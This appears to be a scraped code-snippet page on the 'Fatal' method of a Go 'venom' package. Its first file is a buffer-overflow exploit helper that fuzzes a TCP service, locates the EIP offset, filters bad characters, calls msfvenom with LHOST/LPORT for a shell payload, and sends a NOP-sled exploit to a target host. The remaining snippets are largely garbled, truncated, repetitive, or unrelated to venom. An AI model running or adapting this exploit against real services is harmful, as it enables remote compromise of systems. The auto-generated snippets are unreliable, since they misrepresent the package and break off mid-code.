How to use Fatal method of venom Package

Best Venom code snippet using venom.Fatal

funcs.go

Source:funcs.go

...72		fmt.Println("Sending buffer of size", count, "...")73		err := sendPayload(c, fmt.Sprint(c.Cmd+strings.Repeat("A", count)))74		if err != nil {75			if count == 100 {76				log.Fatal(err)77			}78			if c.NoWelcome {79				return count80			}81			return count - 10082		}83		count += 10084		time.Sleep(time.Duration(t) * time.Second)85	}86}87func offset(c Config, n int, v bool) int {88	//Generate Pattern89	fmt.Println("Generating pattern of length", n+400, "...")90	patternCmd := path.Join(c.MsfPath, "tools/exploit/pattern_create.rb")91	pattern, err := exec.Command(patternCmd, "-l", strconv.Itoa(n+400)).Output()92	if err != nil {93		log.Fatal(err)94	}95	//Send payload96	fmt.Printf("Sending payload to %s:%d with command: %s..."+"\n", c.Host, c.Port, c.Cmd)97	err = sendPayload(c, fmt.Sprintf("%s%s", c.Cmd, pattern))98	if err != nil {99		log.Fatal(err)100	}101	fmt.Println("Mona command to detect offset:" + "\n")102	fmt.Printf("!mona findmsp -distance %d"+"\n", n+400)103	//Verify104	if v {105		var offset int106		fmt.Print("Enter mona offset:")107		fmt.Scanf("%d", &offset)108		payload := fmt.Sprint(c.Cmd + strings.Repeat("A", offset) + "BBBB")109		fmt.Print("Restart app in immunity debugger and press ENTER to continue...")110		bufio.NewReader(os.Stdin).ReadBytes('\n')111		fmt.Println("Sending payload...")112		err = sendPayload(c, payload)113		if err != nil {114			log.Fatal(err)115		}116		fmt.Println("Finding offset was successful if EIP register shows 42424242")117		return offset118	}119	return 0120}121func badchars(c Config, o int, b string, r bool) {122	//Generate badchars payload123	fmt.Println("Generating Payload...")124	badstring := ""125	bad := strings.Split(b, "\\x")126OUTER:127	for i := 0; i < 256; i++ {128		currByte := fmt.Sprintf("%02x", i)129		for _, char := range bad {130			if currByte == char {131				continue OUTER132			}133		}134		badstring += currByte135	}136	decoded, _ := hex.DecodeString(badstring)137	fmt.Println("Bytearray size:", len(decoded))138	//Assemble and send payload139	payload := fmt.Sprint(c.Cmd + strings.Repeat("A", o) + "BBBB" + string(decoded))140	fmt.Printf("Sending payload to %s:%d with command: %s..."+"\n", c.Host, c.Port, c.Cmd)141	err := sendPayload(c, payload)142	if err != nil {143		log.Fatal(err)144	}145}146func generate(c Config, off int, jmp string, bad string, ptype string, send bool, ip string, port int) {147	//Execute msfvenom148	fmt.Println("Generating msfvenom payload...")149	venomCmd := path.Join(c.MsfPath, "msfvenom")150	//venomArgs := fmt.Sprintf("-p %s LHOST=%s LPORT=%d EXITFUNC=thread -b \"%s\" -f hex -o payload.txt", ptype, ip, port, bad)151	//out, err := exec.Command(venomCmd, venomArgs).Output()152	cmd := exec.Command(venomCmd, "-p", ptype, fmt.Sprint("LHOST="+ip), fmt.Sprintf("LPORT=%d", port), "EXITFUNC=thread", fmt.Sprintf("-b \"%s\"", bad), "-fhex", "-o", "payload.txt")153	cmd.Stdout = os.Stdout154	cmd.Stderr = os.Stderr155	err := cmd.Run()156	if err != nil {157		log.Fatal(err)158	}159	//read msfvenom output160	p, _ := os.Getwd()161	payload, err := ioutil.ReadFile(path.Join(p, "payload.txt"))162	if err != nil {163		log.Fatal(err)164	}165	//delete txt file166	fmt.Println("Cleaning...")167	_, err = exec.Command("rm", "payload.txt").Output()168	if err != nil {169		log.Fatal(err)170	}171	//make json172	e := Exploit{Jmp: jmp, Offset: off, Payload: string(payload)}173	err = saveConfig(e, "bof-exploit.json")174	if err != nil {175		log.Fatal(err)176	}177	fmt.Println("Exploit config saved to bof-exploit.json. Execute with:\n bof-helper execute -f bof-exploit.json")178}179func execute(c Config, e Exploit) {180	fmt.Printf("Sending exploit to %s:%d..."+"\n", c.Host, c.Port)181	decoded, _ := hex.DecodeString(e.Payload)182	jmp := strings.ReplaceAll(e.Jmp, "\\x", "")183	jmpDecoded, _ := hex.DecodeString(jmp)184	payload := fmt.Sprint(c.Cmd+strings.Repeat("A", e.Offset)+string(jmpDecoded), strings.Repeat("\x90", 16)+string(decoded))185	err := sendPayload(c, payload)186	if err != nil {187		log.Fatal(err)188	}189}190func sendPayload(conf Config, payload string) error {191	conn, err := net.Dial("tcp", fmt.Sprintf("%s:%d", conf.Host, conf.Port))192	if err != nil {193		return err194	}195	conn.SetDeadline(time.Now().Add(time.Duration(conf.Timeout) * time.Second))196	defer conn.Close()197	reply := make([]byte, 1024)198	if !conf.NoWelcome {199		_, err = conn.Read(reply)200		if err != nil {201			return err...

log.go

Source:log.go

...13	Debugln(args ...interface{})14	Error(args ...interface{})15	Errorf(format string, args ...interface{})16	Errorln(args ...interface{})17	Fatal(args ...interface{})18	Fatalf(format string, args ...interface{})19	Fatalln(args ...interface{})20	Info(args ...interface{})21	Infof(format string, args ...interface{})22	Infoln(args ...interface{})23	Panic(args ...interface{})24	Panicf(format string, args ...interface{})25	Panicln(args ...interface{})26	Print(args ...interface{})27	Printf(format string, args ...interface{})28	Println(args ...interface{})29	Warn(args ...interface{})30	Warnf(format string, args ...interface{})31	Warning(args ...interface{})32	Warningf(format string, args ...interface{})33	Warningln(args ...interface{})34	Warnln(args ...interface{})35}36// global log for the daemon37var Daemon *logrus.Logger38// init sets up our loggers for our application. As the application expands, we39// ideally want to be able to isolate logs and should make a logging mechanism40// per service or properly structure the daemon log to isolate parts of logs.41func init() {42	if Daemon == nil {43		Daemon = newLogrusLogger(config.Daemon)44	}45}46// newLogrusLogger takes a pointer to a venom config and returns a pointer to an47// instance of logrun.Logger. The configuraiton values for logging should always48// be a second level JSON struct in the configuration file. See the default conf49// file in ogre/configs/ogre.d/ogred.conf.json for an example.50func newLogrusLogger(cfg *venom.Venom) *logrus.Logger {51	l := logrus.New()52	if _, exist := cfg.Find("json_logs"); exist {53		l.Formatter = new(logrus.JSONFormatter)54	}55	logFile := cfg.GetString("log.file")56	if logFile != "" {57		file, err := os.Create(logFile)58		if err != nil {59			panic("could not create log file: " + err.Error())60		}61		l.Out = file62	} else {63		l.Out = os.Stdout64	}65	switch cfg.GetString("log.level") {66	case "info":67		l.Level = logrus.InfoLevel68	case "warning":69		l.Level = logrus.WarnLevel70	case "error":71		l.Level = logrus.ErrorLevel72	case "trace":73		l.Level = logrus.TraceLevel74	default:75		l.Level = logrus.DebugLevel76	}77	l.ReportCaller = cfg.GetBool("log.report_caller")78	return l79}80// Fields is a map string interface to define fields in the structured log81type Fields map[string]interface{}82// With allow us to define fields in out structured logs83func (f Fields) With(k string, v interface{}) Fields {84	f[k] = v85	return f86}87// WithFields allow us to define fields in out structured logs88func (f Fields) WithFields(f2 Fields) Fields {89	for k, v := range f2 {90		f[k] = v91	}92	return f93}94// WithFields allow us to define fields in out structured logs95func WithFields(fields Fields) Logger {96	return Daemon.WithFields(logrus.Fields(fields))97}98// Debug package-level convenience method.99func Debug(args ...interface{}) {100	Daemon.Debug(args...)101}102// Debugf package-level convenience method.103func Debugf(format string, args ...interface{}) {104	Daemon.Debugf(format, args...)105}106// Debugln package-level convenience method.107func Debugln(args ...interface{}) {108	Daemon.Debugln(args...)109}110// Error package-level convenience method.111func Error(args ...interface{}) {112	Daemon.Error(args...)113}114// Errorf package-level convenience method.115func Errorf(format string, args ...interface{}) {116	Daemon.Errorf(format, args...)117}118// Errorln package-level convenience method.119func Errorln(args ...interface{}) {120	Daemon.Errorln(args...)121}122// Fatal package-level convenience method.123func Fatal(args ...interface{}) {124	Daemon.Fatal(args...)125}126// Fatalf package-level convenience method.127func Fatalf(format string, args ...interface{}) {128	Daemon.Fatalf(format, args...)129}130// Fatalln package-level convenience method.131func Fatalln(args ...interface{}) {132	Daemon.Fatalln(args...)133}134// Info package-level convenience method.135func Info(args ...interface{}) {136	Daemon.Info(args...)137}138// Infof package-level convenience method.139func Infof(format string, args ...interface{}) {140	Daemon.Infof(format, args...)141}142// Infoln package-level convenience method.143func Infoln(args ...interface{}) {144	Daemon.Infoln(args...)145}146// Panic package-level convenience method....

cli.go

Source:cli.go

...25	// Bind pflags as late as possible so all imports were able to set their flags26	pflags := rootCmd.PersistentFlags()27	err := venom.BindPFlags(pflags)28	if err != nil {29		log.Fatal(err)30	}31	err = rootCmd.Execute()32	if err != nil {33		log.Fatal(err)34	}35}36func IsOperational(cmd *cobra.Command) bool {37	return cmd.Root().Annotations[AnnIsNonoperational] == ""38}...

Fatal

Using AI Code Generation

1import (2func main() {3	f, err := os.Open("test.txt")4	if err != nil {5		log.Fatal(err)6	}7	defer f.Close()8}9import (10func main() {11	f, err := os.Open("test.txt")12	if err != nil {13		log.Fatalf("error opening file: %v", err)14	}15	defer f.Close()16}17import (18func main() {19	f, err := os.Open("test.txt")20	if err != nil {21		log.Fatalln("error opening file:", err)22	}23	defer f.Close()24}25import (26func main() {27	f, err := os.Open("test.txt")28	if err != nil {29		log.Panic(err)30	}31	defer f.Close()32}33import (34func main() {35	f, err := os.Open("test.txt")36	if err != nil {37		log.Panicf("error opening file: %v", err)38	}39	defer f.Close()40}41import (42func main() {43	f, err := os.Open("test.txt")44	if err != nil {45		log.Panicln("error opening file:", err)46	}47	defer f.Close()48}49import (50func main() {51	f, err := os.Open("test.txt")52	if err != nil {53		log.Print(err)54	}55	defer f.Close()56}57import (58func main() {59	f, err := os.Open("test.txt")60	if err != nil {61		log.Printf("error opening file: %

Fatal

Using AI Code Generation

1import "fmt"2func main() {3fmt.Println("Hello World")4}5import "fmt"6func main() {7fmt.Println("Hello World")8}9import "fmt"10func main() {11fmt.Println("Hello World")12}13import "fmt"14func main() {15fmt.Println("Hello World")16}17import "fmt"18func main() {19fmt.Println("Hello World")20}21import "fmt"22func main() {23fmt.Println("Hello World")24}25import "fmt"26func main() {27fmt.Println("Hello World")28}29import "fmt"30func main() {31fmt.Println("Hello World")32}33import "fmt"34func main() {35fmt.Println("Hello World")36}37import "fmt"38func main() {39fmt.Println("Hello World")40}41import "fmt"42func main() {43fmt.Println("Hello World")44}45import "fmt"46func main() {47fmt.Println("Hello World")48}49import "fmt"50func main() {51fmt.Println("Hello World")52}53import "fmt"54func main() {55fmt.Println("Hello World")56}57import "fmt"

Fatal

Using AI Code Generation

1import (2func main() {3    app := iris.New()4    app.Get("/", func(ctx iris.Context) {5        ctx.HTML("<h1>Welcome to my awesome site</h1>")6    })7    app.Get("/ping", func(ctx iris.Context) {8        ctx.WriteString("pong")9    })

Fatal

Using AI Code Generation

1import (2func main() {3    log.Fatal("Fatal message")4    fmt.Println("This message will not be printed")5}6import (7func main() {8    log.Panic("Panic message")9    fmt.Println("This message will not be printed")10}11import (12func main() {13    log.Print("Print message")14    fmt.Println("This message will be printed")15}16import (17func main() {18    log.Println("Println message")19    fmt.Println("This message will be printed")20}21import (22func main() {23    log.Printf("Printf message")24    fmt.Println("This message will be printed")25}26import (27func main() {28    log.Fatal("Fatal message")29    fmt.Println("This message will not be printed")30}31import (32func main() {33    log.Panic("Panic message")34    fmt.Println("This message will not be printed")35}

Fatal

Using AI Code Generation

1import (2func main() {3	log.Fatal("Fatal error")4	fmt.Println("This will not be printed")5}6import (7func main() {8	log.Fatalf("Fatal error %s", "occurred")9	fmt.Println("This will not be printed")10}11import (12func main() {13	log.Fatalln("Fatal error occurred")14	fmt.Println("This will not be printed")15}16import (17func main() {18	log.Panic("Panic error")19	fmt.Println("This will not be printed")20}21import (22func main() {23	log.Panicf("Panic error %s", "occurred")24	fmt.Println("This will not be printed")25}26import (27func main() {28	log.Panicln("Panic error occurred")29	fmt.Println("This will not be printed")30}31import (32func main() {33	log.Print("Print error")34	fmt.Println("This will be printed")35}36import (37func main() {38	log.Printf("Print error %s", "occurred")39	fmt.Println("This will be printed")40}

Fatal

Using AI Code Generation

1import "fmt"2import "github.com/venom"3func main() {4  fmt.Println("Hello, World")5  venom.Fatal("Fatal error")6}7import "fmt"8import "github.com/venom"9func main() {10  fmt.Println("Hello, World")11  venom.Error("Error")12}13import "fmt"14import "github.com/venom"15func main() {16  fmt.Println("Hello, World")17  venom.Warn("Warning")18}19import "fmt"20import "github.com/venom"21func main() {22  fmt.Println("Hello, World")23  venom.Info("Information")24}25import "fmt"26import "github.com/venom"27func main() {28  fmt.Println("Hello, World")29  venom.Debug("Debug")30}31import "fmt"32import "github.com/venom"33func main() {34  fmt.Println("Hello, World")35  venom.Trace("Trace")36}37import "fmt"38import "github.com/venom"39func main() {40  fmt.Println("Hello, World")41  venom.Print("Print")42}43import "fmt"44import "github.com/venom"45func main() {46  fmt.Println("Hello, World")47  venom.Println("Println")48}49import "fmt"50import "github.com/venom"51func main() {52  fmt.Println("Hello, World")53  venom.Printf("%s", "Printf")54}55import "fmt"56import "github.com/venom"57func main() {58  fmt.Println("Hello, World")59  venom.Fatal("Fatal error

Fatal

Using AI Code Generation

1import "fmt"2import "log"3func main() {4    fmt.Println("Hello, World!")5    log.Fatal("This is a Fatal method")6    fmt.Println("This will not print")7}8import "fmt"9import "log"10func main() {11    fmt.Println("Hello, World!")12    log.Fatalf("This is a %s method", "Fatalf")13    fmt.Println("This will not print")14}15import "fmt"16import "log"17func main() {18    fmt.Println("Hello, World!")19    log.Fatalln("This is a Fatalln method")20    fmt.Println("This will not print")21}22import "fmt"23import "log"24func main() {25    fmt.Println("Hello, World!")26    log.Panic("This is a Panic method")27    fmt.Println("This will not print")28}29import "fmt"30import "log"31func main() {32    fmt.Println("Hello, World!")33    log.Panicf("This is

Fatal

Using AI Code Generation

1import (2func main() {3	fmt.Println("Hello")4}5import (6func main() {7	fmt.Println("Hello")8}9import (10func main() {11	fmt.Println("Hello")12}13import (14func main() {15	fmt.Println("Hello")16}17import (18func main() {19	fmt.Println("Hello")20}21import (22func main() {23	fmt.Println("Hello")24}25import (26func main() {27	fmt.Println("Hello")28}29import (30func main() {

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